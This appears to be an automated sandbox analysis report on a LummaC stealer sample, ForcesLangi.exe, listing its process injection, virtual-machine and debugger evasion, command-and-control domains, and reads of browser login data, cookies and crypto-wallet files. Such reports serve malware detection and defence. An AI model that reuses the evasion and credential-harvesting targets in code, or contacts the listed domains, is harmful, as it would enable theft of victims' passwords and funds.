Source: C:\Users\user\Desktop\ForcesLangi.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: ForcesLangi.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ForcesLangi.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00757069 push es; retf	2_2_00757074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075C990 push eax; mov dword ptr [esp], 5C5D5E5Fh	2_2_0075C99E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073B324 push F3B90076h; retf	2_2_0073B32A

Source: ForcesLangi.exe

Static PE information: section name: .text entropy: 7.114943161114869

Source: C:\Users\user\Desktop\ForcesLangi.exe

File created: C:\Users\user\AppData\Roaming\gdi32.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory allocated: FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory allocated: 2A20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe TID: 4268	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 2132	Thread sleep time: -150000s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\ForcesLangi.exe

Code function: 0_2_6CE331E0 FindFirstFileExW,

0_2_6CE331E0

Source: C:\Users\user\Desktop\ForcesLangi.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

API call chain: ExitProcess graph end node

graph_2-14368

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 2_2_0075E110 LdrInitializeThunk,

2_2_0075E110

Source: C:\Users\user\Desktop\ForcesLangi.exe

Code function: 0_2_6CE313FC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CE313FC

Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE32D21 mov eax, dword ptr fs:[00000030h]		0_2_6CE32D21
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE31AE2 mov eax, dword ptr fs:[00000030h]		0_2_6CE31AE2

Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2E9E7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CE2E9E7
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE313FC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CE313FC
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2EF12 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CE2EF12

Source: C:\Users\user\Desktop\ForcesLangi.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\ForcesLangi.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 720000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\ForcesLangi.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 720000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: hummskitnj.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: appliacnesot.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: screwamusresz.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: inherineau.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: scentniej.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: rebuildeso.buzz
Source: ForcesLangi.exe, 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: prisonyfork.buzz

Writes to foreign memory regions

Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 720000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 721000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 762000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 765000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 773000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 721000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 762000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 765000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 773000	Jump to behavior
Source: C:\Users\user\Desktop\ForcesLangi.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 580008	Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe

Code function: 0_2_6CE2F0D8 cpuid

0_2_6CE2F0D8

Source: C:\Users\user\Desktop\ForcesLangi.exe	Queries volume information: C:\Users\user\Desktop\ForcesLangi.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe

Code function: 0_2_6CE2EB5B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CE2EB5B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.binstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: aspnet_regiis.exe	String found in binary or memory: Jaxx Liberty
Source: aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: aspnet_regiis.exe, 00000002.00000002.1893702239.0000000002A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: aspnet_regiis.exe, 00000002.00000003.1831814063.0000000002A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
